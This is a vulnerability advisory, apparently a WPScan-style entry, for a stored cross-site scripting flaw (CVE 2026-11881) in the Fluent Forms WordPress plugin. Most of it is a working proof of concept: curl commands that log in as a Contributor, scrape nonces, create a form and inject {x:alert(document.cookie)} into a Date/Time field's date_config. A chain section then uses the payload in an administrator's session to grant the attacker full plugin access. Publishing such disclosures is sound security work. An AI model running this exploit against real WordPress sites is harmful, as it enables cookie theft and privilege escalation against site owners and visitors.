Fluent Forms < 6.2.6 – Contributor+ Stored XSS via Date/Time Field | CVE 2026-11881

Description

The plugin does not sanitise and escape one of its form field configuration settings before outputting it inside an inline script when a form is rendered, which could allow users with a role as low as Contributor (with delegated form-management permission, and therefore lacking the unfiltered_html capability, e.g. in a multisite setup) to perform Stored Cross-Site Scripting attacks that execute in the browser of any visitor who loads the form, including administrators previewing it.

Proof of Concept

Prerequisites:
- Fluent Forms 6.2.4 to 6.2.5 active on a multisite (so Contributors lack unfiltered_html; on single-site set define('DISALLOW_UNFILTERED_HTML', true)).
- An administrator has delegated FluentForm form management to the Contributor role (FluentForm Global Settings -> Managers / role permissions). This sets the option _fluentform_form_permission to include "contributor".
- A Contributor account (the attacker). An administrator account (the chain trigger).

BASE=https://victim.example

1. Log in as the delegated Contributor and capture cookies in jar.txt:
   curl -s -c jar.txt -b "wordpress_test_cookie=WP+Cookie+check" \
     --data-urlencode "log=contributor" --data-urlencode "pwd=PASSWORD" \
     --data-urlencode "wp-submit=Log In" --data-urlencode "redirect_to=$BASE/wp-admin/" \
     --data-urlencode "testcookie=1" "$BASE/wp-login.php" -o /dev/null

2. As the Contributor, scrape the FluentForm admin nonce and a wp_rest nonce (both are exposed to the delegated Contributor, no planted code):
   FF_NONCE=$(curl -s -b jar.txt "$BASE/wp-admin/admin.php?page=fluent_forms" \
     | grep -oE 'fluent_forms_admin_nonce"[: ]*"[a-f0-9]+"' | grep -oE '[a-f0-9]{8,}')
   REST_NONCE=$(curl -s -b jar.txt \
     "$BASE/wp-admin/admin-ajax.php?action=fluentform_renew_rest_nonce" \
     | sed -E 's/.*"nonce":"([a-f0-9]+)".*/\1/')

3. Create a blank form via REST (capture formId):
   curl -s -b jar.txt -H "X-WP-Nonce: $REST_NONCE" -H "Content-Type: application/json" \
     -X POST "$BASE/index.php?rest_route=/fluentform/v1/forms" \
     --data '{"title":"PoC Form","type":"form","predefined":"blank_form"}'

4. Store a Date/Time field whose date_config holds the payload, via the cap-gated form-update handler. formFields is a JSON form definition containing a Date/Time field (element "input_date") with settings.date_config = "{x:alert(document.cookie)}":
   curl -s -b jar.txt "$BASE/wp-admin/admin-ajax.php" \
     --data-urlencode "action=fluentform-form-update" \
     --data-urlencode "form_id=<FORM_ID>" \
     --data-urlencode "title=PoC Form" \
     --data-urlencode "status=published" \
     --data-urlencode "fluent_forms_admin_nonce=$FF_NONCE" \
     --data-urlencode "formFields=<FORM JSON, datetime field settings.date_config={x:alert(document.cookie)}>"
   # -> {"message":"The form is successfully updated."}

5. Embed the form on a published page (normal admin authoring): [fluentform id="<FORM_ID>"]

6. Load the page as an anonymous visitor:
   curl -sL "$BASE/<page-slug>/" | grep 'var customConfig = {x:alert(document.cookie)}'
   # -> the inline script contains, un-encoded:
   #      var customConfig = {x:alert(document.cookie)};
   # The page has zero logged-in markers (grep -c wp-admin-bar == 0): the script
   # runs in a genuine anonymous visitor session, not self-XSS.

Negative control (proves it is not a globally-broken / unfiltered_html false positive): a Text-field label of <script>alert(1)</script> saved on the same form by the same Contributor is stripped to "alert(1)" in storage, while the date_config value renders verbatim.

Chain (escalate to FluentForm full-access):
Replace date_config with a payload that, in the administrator's session, does:
  GET  /wp-admin/admin-ajax.php?action=fluentform_renew_rest_nonce   (mints wp_rest nonce)
  POST /index.php?rest_route=/fluentform/v1/managers (X-WP-Nonce, admin cookies)
       body grants the attacking Contributor the fluentform_full_access permission.
When an administrator views the form, the Contributor's wp_capabilities gains fluentform_full_access (verified before=NO / after=YES; manage_options remains NO).